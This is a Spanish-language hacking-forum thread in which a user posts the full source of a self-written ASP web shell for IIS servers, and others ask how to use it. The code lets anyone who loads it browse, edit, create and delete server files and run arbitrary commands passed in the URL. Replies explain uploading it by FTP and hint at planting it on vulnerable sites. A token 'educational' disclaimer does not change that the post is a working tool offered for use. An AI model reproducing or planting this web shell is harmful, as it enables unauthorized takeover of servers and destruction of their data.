elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Mi Primer ASP Shell
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: Mi Primer ASP Shell  (Leído 26,637 veces)
Morris
Ex-CoAdmin y
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.964


Ver Perfil WWW
Mi Primer ASP Shell
« en: 8 Febrero 2005, 04:13 am »

Pues vamos al grano... no encontré un buen shell en ASP y decidí hacer uno y de paso practicar mi ASP.
[broma]
(creo que me tardé más en escribir MORRIS con "#" para firmarlo que en hacer el código, jajajaja)
[/broma]

Explota malas configuraciones del IIS.

Espero comentarios, sugerencias, mejoras, errores y testeos.

Morris

Código
  1. <%
  2. Propiedad = "www.elhacker.net"
  3.  
  4. ' Este shell servirá en servidores con una mala configuración si el servidor NO ES vulnerable MANDARA ERRORES
  5. ' Esta herramienta ha sido creada para ayudar a los administradores a probar la configuración de su IIS
  6. ' NO ME HAGO RESPONSABLE POR EL MAL USO QUE SE LE DE A ESTA HERRAMIENTA
  7. ' Cualquier comentario y mejora se agradecerá morris@elhacker.net
  8. ' Este material es educacional y se debe de usar de la misma forma
  9. ' Si encuentras un servidor vulnerable que no sea tuyo, avisa al administrador. El te lo agradecerá.
  10.  
  11. ' http://foro.elhacker.net/index.php/topic,56790.0.html
  12. ' ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### #####
  13. ' ##### ##### ##### ##### VISITANOS EN ##### ##### ##### #####
  14. ' ##### ##### ##### ##### FORO.elhacker.net ##### ##### ##### #####
  15. ' ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### #####
  16.  
  17. ' Code by Morris
  18.  
  19. ' ####       ####    #####    ######    ######    ##     ####
  20. ' ####      #####   #     #   ##    #   ##    #   ##    #
  21. ' ##  #    #   ##   #     #   ## ###    ## ###    ##     #####
  22. ' ##   #  #    ##   #     #   ##  #     ##  #     ##          #
  23. ' ##    #      ##    #####    ##   #    ##   #    ##     #####
  24.  
  25.  
  26. ON ERROR RESUME NEXT
  27. Archivo = "myshell.asp"
  28. Accion = Request.QueryString("Accion")
  29. Path = Request.QueryString("Path")
  30. IF Path = "" THEN
  31. Path = Server.MapPath(".")
  32. END IF
  33. PathFile = Request.QueryString("PathFile")
  34.  
  35. ' Crea instancia del FileSystemObject
  36. Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject")
  37. ' Create el objeto Folder
  38. Set MyFolder=MyFileObject.GetFolder(Path)
  39. 'Loop a través de los folders
  40.  
  41. FUNCTION MapURL(path)
  42. ON ERROR RESUME NEXT
  43.     dim rootPath, url
  44.  
  45.     'Convierte la ruta fisica por una virtual para abrir los archivos
  46.  
  47.     rootPath = Server.MapPath("/")
  48.     url = Right(path, Len(path) - Len(rootPath))
  49.     MapURL = Replace(url, "\", "/")
  50.  
  51. END FUNCTION
  52.  
  53. ' RetVal = Shell("C:\WINDOWS\CALC.EXE", 1)   ' Run Calculator.
  54. 'response.Write(Path)
  55. %>
  56.  
  57. <%
  58. IF Propiedad = "" OR Propiedad <> "www.elhacker.net" THEN
  59. Response.Write("<h1><font color=Red>Maldito lammer no borres la propiedad de este código -  <br>Propiedad www.elhacker.net - foro.elhacker.net</font></h1>")
  60. Response.end
  61. END IF
  62. IF Accion = "Guardar" THEN
  63.  
  64. Set MyOutStream=MyFileObject.OpenTextFile(PathFile, 2, TRUE)
  65.  MyOutStream.Write(Request.Form("texto"))
  66. MyOutStream.Close
  67. %>
  68. La información ha sido guardada.
  69. <br>
  70. <a href="javascript:history.go(-2)">Regresar</a>
  71. <%
  72. END IF
  73.  
  74. IF Accion = "Ejecutar" THEN
  75. On Error Resume Next
  76. Dim Shell, Ejecutar
  77. Set Shell = CreateObject("WScript.Shell")
  78. Archivo = Request.QueryString("Archivo")
  79. Set Ejecutar = Shell.Exec(Archivo)
  80. Do While Ejecutar.Status = 0
  81.     WScript.Sleep 100
  82. Loop
  83. WScript.Echo Ejecutar.Status
  84. Response.Write("done")
  85. END IF
  86.  
  87. IF Accion = "Nuevo" THEN
  88. Archivo = Request.QueryString("Archivo")
  89. IF Archivo = "" THEN
  90. Archivo = "ArchivoNuevo.txt"
  91. END IF
  92.  
  93. Set fso = CreateObject("Scripting.FileSystemObject")
  94. Set MyFile = fso.CreateTextFile(PathFile & "\" & Archivo, True)
  95. MyFile.WriteLine("This is a test.")
  96. MyFile.Close
  97. END IF
  98.  
  99. IF Accion = "Borrar" THEN
  100. Set fso = CreateObject("Scripting.FileSystemObject")
  101. Set MyFile = fso.GetFile(PathFile)
  102. MyFile.Delete
  103. END IF
  104.  
  105. IF Accion = "Editar" THEN%>
  106.  
  107. <form action="<%=Archivo%>?Accion=Guardar&PathFile=<%=PathFile%>" method="post">
  108. <textarea name="texto" cols=100 rows=25>
  109. <%
  110. Set MyTextFile = MyFileObject.OpenTextFile(PathFile)
  111. WHILE NOT MyTextFile.AtEndOfStream
  112. Response.Write( Server.HTMLEncode(MyTextFile.ReadLine) & Chr(10))
  113. WEND
  114. MyTextFile.Close
  115. %>
  116. </textarea>
  117. <BR>
  118. <input type=submit value="Guardar">
  119. </form>
  120.  
  121.  
  122. <%
  123. Response.end
  124. END IF
  125. %>
  126. <HTML>
  127. <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#000000" VLINK="#000000">
  128. <p><BR>
  129.    <B>ASPShell by Morris - Version 1.0 - <a href="http://www.elhacker.net">elhacker.net</a></B><BR>
  130. </p>
  131. <form action="<%=Archivo%>">
  132. <input name="Accion" type="hidden" value="Ruta">
  133. <input name="Path" type="text" id="Path" value="<%=Path%>" size="70">
  134. <input type="submit" value="Ir">
  135. </form>
  136. <br>
  137.  
  138. <TABLE BORDER=0 CELLPADDING=3 CELLSPACING=0 width="100%">
  139. <TR BGCOLOR="#000000">
  140. <TD><FONT COLOR="#FFFFFF"><B>Nombre de Archivo:</B></FONT></TD>
  141. <TD><FONT COLOR="#FFFFFF"><B>Acciones:</B></FONT></TD>
  142. <TD><FONT COLOR="#FFFFFF"><B>Tamaño:</B></FONT></TD>
  143. <TD><FONT COLOR="#FFFFFF"><B>Tipo de archivo:</B></FONT></TD>
  144. <TD><FONT COLOR="#FFFFFF"><B>Fecha de creación:</B></FONT></TD>
  145.  
  146. <%
  147. FOR EACH thing in MyFolder.SubFolders
  148. ON ERROR RESUME NEXT
  149. %>
  150. <TR BGCOLOR="#F7F7E7">
  151. <TD><A HREF="<%=Archivo%>?Path=<%=Path%>\<%=thing.Name%>">[ <%=thing.Name%> ]</A></TD>
  152. <TD></TD>
  153. <TD ALIGN=RIGHT><%=thing.Size%>bytes</TD>
  154. <TD><%=thing.Type%></TD>
  155. <TD><%=thing.DateCreated%></TD>
  156. <%
  157. NEXT
  158. 'Loop a través de los archivos
  159. FOR EACH thing in MyFolder.Files
  160. ON ERROR RESUME NEXT
  161. url = MapURL(thing.path)
  162. %>
  163.  
  164.  
  165. <TR BGCOLOR="#F7F7E7">
  166. <TD><A HREF="<%=Archivo%>?Path=<%=Path%>\<%=thing.Name%>&Accion=Editar"><%=thing.Name%></A></TD>
  167. <TD><A HREF="<%=Archivo%>?Path=<%=Path%>&PathFile=<%=Path%>\<%=thing.Name%>&Accion=Borrar">Borar</A></TD>
  168. <TD ALIGN=RIGHT><%=thing.Size%>bytes</TD>
  169. <TD><%=thing.Type%></TD>
  170. <TD><%=thing.DateCreated%></TD>
  171. <%
  172. NEXT
  173. %>
  174. </TABLE>
  175.  
  176.  
  177. Total de directorios
  178. <%
  179. Response.Write(MyFolder.SubFolders.Count )
  180. %>
  181.  
  182. Total de archivos
  183. <%
  184. Response.Write(MyFolder.Files.Count )
  185. %>
  186. <br><br>
  187. <form name="form1" action="<%=Archivo%>">
  188. <input name="Path" type="hidden" value="<%=Path%>">
  189. <input name="PathFile" type="hidden" value="<%=Path%>">
  190. <input name="Accion" type="hidden" value="Nuevo">
  191.  <input name="Archivo" type="text" id="Archivo" value="Nombre Archivo.ext">
  192.  <input name="Submit" type="submit" value="Nuevo Archivo">
  193. </form>
  194. <strong><font color="#FF0000">Lo más recomendable es subir un .bat y ejecutar ese archivo poniendo la ruta completa hasta el .bat </font></strong>
  195. <form name="form1" action="<%=Archivo%>">
  196. <input name="Path" type="hidden" value="<%=Path%>/archivo.bat">
  197. <input name="PathFile" type="hidden" value="<%=Path%>">
  198. <input name="Accion" type="hidden" value="Ejecutar">
  199.  <input name="Archivo" type="text" id="Archivo" value="<%Path%>">
  200.  <input name="Submit" type="submit" value="Ejecutar">
  201. </form>
  202.  
  203. </BODY>
  204. </HTML>
  205.  
  206. <%
  207. Response.Write("Visitanos en foro.elhacker.net")
  208. %>
  209.  
« Última modificación: 7 Agosto 2008, 21:09 pm por Azielito » En línea

Natanael

Desconectado Desconectado

Mensajes: 13


Nadie esta a salvo de la locura.


Ver Perfil
Re: Mi Primer ASP Shell
« Respuesta #1 en: 10 Abril 2005, 14:45 pm »

Eso es lenguaje HTMl?
Como se usa?
En línea

Salu-DOS
+ enrique ZP


Desconectado Desconectado

Mensajes: 2.936


X-Aqui


Ver Perfil WWW
Re: Mi Primer ASP Shell
« Respuesta #2 en: 10 Abril 2005, 17:19 pm »

Eso es lenguaje HTMl?
Como se usa?


No no es HTML lee el titulo de el post es ASP y pues se usa como cualquier otra shell creo, la subes al servidore y ella te dice el resto.
En línea

Morris
Ex-CoAdmin y
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.964


Ver Perfil WWW
Re: Mi Primer ASP Shell
« Respuesta #3 en: 11 Abril 2005, 17:51 pm »

Sólo súbela al servidor y ejecútala vía web... si es vulnerable verás que funciona :P
En línea

BenRu
The Prodigy


Desconectado Desconectado

Mensajes: 4.006


Ver Perfil
Re: Mi Primer ASP Shell
« Respuesta #4 en: 11 Abril 2005, 22:19 pm »

Sólo súbela al servidor y ejecútala vía web... si es vulnerable verás que funciona :P

Que quieres decir con esto?Como lo subo?
En línea

TaU

Desconectado Desconectado

Mensajes: 184



Ver Perfil
Re: Mi Primer ASP Shell
« Respuesta #5 en: 12 Abril 2005, 02:41 am »

Citar
IF Propiedad = "" OR Propiedad <> "www.elhacker.net" THEN
Response.Write("<h1><font color=Red>Maldito lammer no borres la propiedad de este código -  <br>Propiedad www.elhacker.net - foro.elhacker.net</font></h1>")
Response.end

 ;D
En línea

"Si no se vive como se piensa, se acabará pensando como se vive", Pep Figueres
Revolucionario / Presidente de Costa Rica / Primer jefe de estado de la historia en abolir el ejército / Catalán.
www.wadalbertia.org  -<|¡^P
+ enrique ZP


Desconectado Desconectado

Mensajes: 2.936


X-Aqui


Ver Perfil WWW
Re: Mi Primer ASP Shell
« Respuesta #6 en: 12 Abril 2005, 02:43 am »

Sólo súbela al servidor y ejecútala vía web... si es vulnerable verás que funciona :P

Que quieres decir con esto?Como lo subo?


Lo que quiere decir es que te vallas a tu cliente FTP, y lo subas a la cuenta de tu host. Cuando lo hayas subido te vas a tu explorador escribes la url en donde esta localizada la shell y la ejecutas, y ella te va a dar instrucciones de como hacerlo creo.

Hasta Pronto
En línea

dxr
Colaborador
***
Desconectado Desconectado

Mensajes: 3.036



Ver Perfil
Re: Mi Primer ASP Shell
« Respuesta #7 en: 13 Abril 2005, 04:01 am »

Muy buen script Morris ;) nose si algun dia lo usare pero me a gustao :)
En línea

Hacer preguntas concretas, claras y aportando toda la documentación necesaria.
De lo contrario, no tendreis una respuesta clara.
Morris
Ex-CoAdmin y
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.964


Ver Perfil WWW
Re: Mi Primer ASP Shell
« Respuesta #8 en: 13 Abril 2005, 17:54 pm »

Gracias Derek :P me haz alegrado el día :D

Efectivamente suban el ASP por FTP o copienlo en la carpeta www de la forma que se les ocurra, de ahí accesen por web

http://www.dominio.com/myshell.asp

Lo demás es intuitivo.
En línea

track1

Desconectado Desconectado

Mensajes: 102


Ver Perfil
Re: Mi Primer ASP Shell
« Respuesta #9 en: 14 Julio 2006, 03:51 am »

Bueno ya voy entendiendo, veamos, copio el codigo, por cierto le debo poner extensión .asp, verdad?? luego la subo a mi ftp, pero como hago, mi ftp tiene user y pass, que deberia hacer?? y por ultimo voy y redirigo la web vulnerable agrgandole la direccion (page=xxx) de mi ftp. Es asi??  :-\
En línea

NO HAY CAMINO HACIA LA PAZ,
LA PAZ ES EL CAMINO
Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines